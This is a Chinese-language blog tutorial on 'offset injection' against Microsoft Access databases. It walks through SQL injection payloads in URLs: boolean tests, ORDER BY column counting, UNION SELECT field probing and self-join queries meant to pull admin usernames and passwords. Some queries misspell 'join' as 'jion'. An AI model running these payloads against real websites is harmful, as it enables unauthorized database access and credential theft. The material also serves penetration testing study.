您的位置:首页 > 编程语言 > ASP

owasp top 10--sql注入之access偏移注入

2020-03-24 18:58 1176 查看

友情提示:本文所展示的内容仅为了交流与学习,并不作为其他违法犯罪用途。
时刻牢记:无授权不渗透,否则单间住个够。
什么是access偏移注入
access偏移注入是为了解决数据库为access类型,知道表名但无法爆出字段名时所使用的一种注入手法。
注入原理
借助数据库自连接查询使其内部结构乱序,从而偏移出我们所需要的内容。
特点
1.仅适用于access数据库。
2.具有一定的概率性,一次不成功多刷新几次。
3.无需管理员账号密码,直接爆数据。
前提条件
1.数据库为access。
2.知道表名。
3.可以使用联合查询 union select 。
具体过程
假设现有一处页面:http://www.example.com/page?id=50
1.使用and判断是否存在注入
http://www.example.com/page?id=50 and 1=1 页面正常
http://www.example.com/page?id=50 and 1=2 页面错误
判断此处存在SQL注入
2.order by判断有多少查询出的列数
http://www.example.com/page?id=50 order by 1 页面正常

http://www.example.com/page?id=50 order by 18 页面正常
http://www.example.com/page?id=50 order by 19 页面错误
判断可查询出18列
3.利用已知表名判断字段数
假设表明为admin
?id=50 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 from admin 页面正常
?id=50 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,* from admin 页面错误
?id=50 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from admin 页面错误
?id=50 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,* from admin 页面错误
?id=50 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,* from admin 页面正常
说明admin表下有4个字段(18-14=4)

“*”
代表admin表里的字段数,因为有4个字段,所以要顶掉前面4位才行,直到14。
偏移公式
order by查处的列数 - 2x
“*”
所代表的字段数
在本例中就是 :18-2x4=10
4.偏移出列名
?id=50 union select 1,2,3,4,5,6,7,8,9,10 ,* from (admin as a inner jion admin as b on a.id =b.id)
详解
admin as a inner jion admin as b 此处将admin自连接为2个表,一个叫a,一个叫b
a.id =b.id 此处查询a中id列等于b中id列,返回所有相等的行,显然,a,b都是同一个表,全部返回(此处id可修改为其他名称)
此处即可理解上面偏移公式为何
“*”
要乘以2了,因为将一个表自连接为2个表,所以字段也从4变为了8
在这里是一级偏移,二级偏移可多加个c.id,同样要再减去字段数,也就是10再减去4=6
二级偏移语句
?id=50 union select 1,2,3,4,5,6, * from ((admin as a inner jion admin as b on a.id =b.id)inner join admin as c on a.id=c.id)
以此反复即可最终获得账号密码

  • 点赞
  • 收藏
  • 分享
  • 文章举报
可乐bboyoy 发布了9 篇原创文章 · 获赞 4 · 访问量 167 私信 关注
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: